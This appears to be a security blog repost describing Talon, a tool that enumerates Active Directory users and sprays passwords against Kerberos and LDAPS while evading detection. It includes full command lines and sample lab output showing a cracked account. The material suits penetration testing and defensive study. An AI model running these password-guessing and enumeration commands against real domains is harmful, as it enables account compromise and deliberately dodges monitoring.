Talon: perform a password guessing attack against the Kerberos and LDAPS services

by do son · November 26, 2020

Talon

Talon is a tool designed to perform automated password guessing attacks while remaining undetected. It can enumerate a list of users to identify which users are valid, using Kerberos. Talon can also perform a password guessing attack against the Kerberos and LDAPS (LDAP Secure) services. It can either use a single domain controller or multiple ones to perform these attacks, randomizing each attempt, between the domain controllers and services (LDAP or Kerberos).

More info about the techniques can be found on the following Blog

Usage

Enumeration Mode

User enumeration mode can be executed with the -E flag which will send only Kerberos TGT pre-authentication request to the target KDC, however, this request is sent with a known bad or no longer supported encryption type. Talon reviews the response by the KDC to determine if the response with a KDC_ERR_ETYPE_NOSUPP, which indicates if a user exists, or KDC_ERR_C_PRINCIPAL_UNKNOWN if it does not. It can perform this type of enumeration against multiple domain controllers in an enterprise using the -Hostfile command to specify multiple domain controllers or a single domain controller using -H. Using this technique will not cause any login failures so it will not lock out any of the users.

./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E 

  __________  ________  ___       ________  ________
  |\___    _\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\  \ \  \ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\  \ \  \ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.195 STARLABS.LOCAL\asmith:  = User Does Not Exist
[+]  172.16.144.185 STARLABS.LOCAL\ballen:  = User Exist
[-]  172.16.144.186 STARLABS.LOCAL\bjohnson:  = User Does Not Exist
[-]  172.16.144.195 STARLABS.LOCAL\bwayne:  = User Does Not Exist
[+]  172.16.144.195 STARLABS.LOCAL\csnow:  = User Exist
[-]  172.16.144.186 STARLABS.LOCAL\jtodd:  = User Does Not Exist
[+]  172.16.144.186 STARLABS.LOCAL\hwells:  = User Exist
[-]  172.16.144.186 STARLABS.LOCAL\wwest:  = User's Account Locked

Automated Password Guessing Mode

Talon utilizes Kerberos and LDAP, which are both integrated into Active Directory for authentication. It can perform password guessing by alternating between the two services, allowing the password attack traffic to be split across two protocols. This splits the number of potential events generated, as a result reducing the chance of an alert. Talon takes this one step further, by distributing a password attack against multiple domain controllers in an enterprise using the -Hostfile, alternating between LDAP and Kerberos each time to create an additional layer of obscurity. A single domain controller can be provided using the -H command if needed.

./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1

  __________  ________  ___       ________  ________
  |\___    _\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\  \ \  \ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\  \ \  \ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)

                
[-]  172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-]  172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+]  172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-]  172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed

Talon is designed to be versatile given any situation as a result, if only Kerberos is available, Talon can be set to only attack against Kerberos using the -K flag or the only LDAP using the -L flag.

Talon can use both Kerberos and LDAP to read the responses as we perform a password guessing attack. Talon can detect account lockouts during an active password guessing attack by reading the response code from each password attempt. This can help prevent any unwanted account locks across an enterprise, helping you to remain undetected. Simply follow the prompt to quit or continue the attack.

root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2

  __________  ________  ___       ________  ________
  |\___    _\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\  \ \  \ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\  \ \  \ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-]  172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-]  172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:

Download

Source: https://github.com/optiv/

Talon: perform a password guessing attack against the Kerberos and LDAPS services

Search

Suggested Reading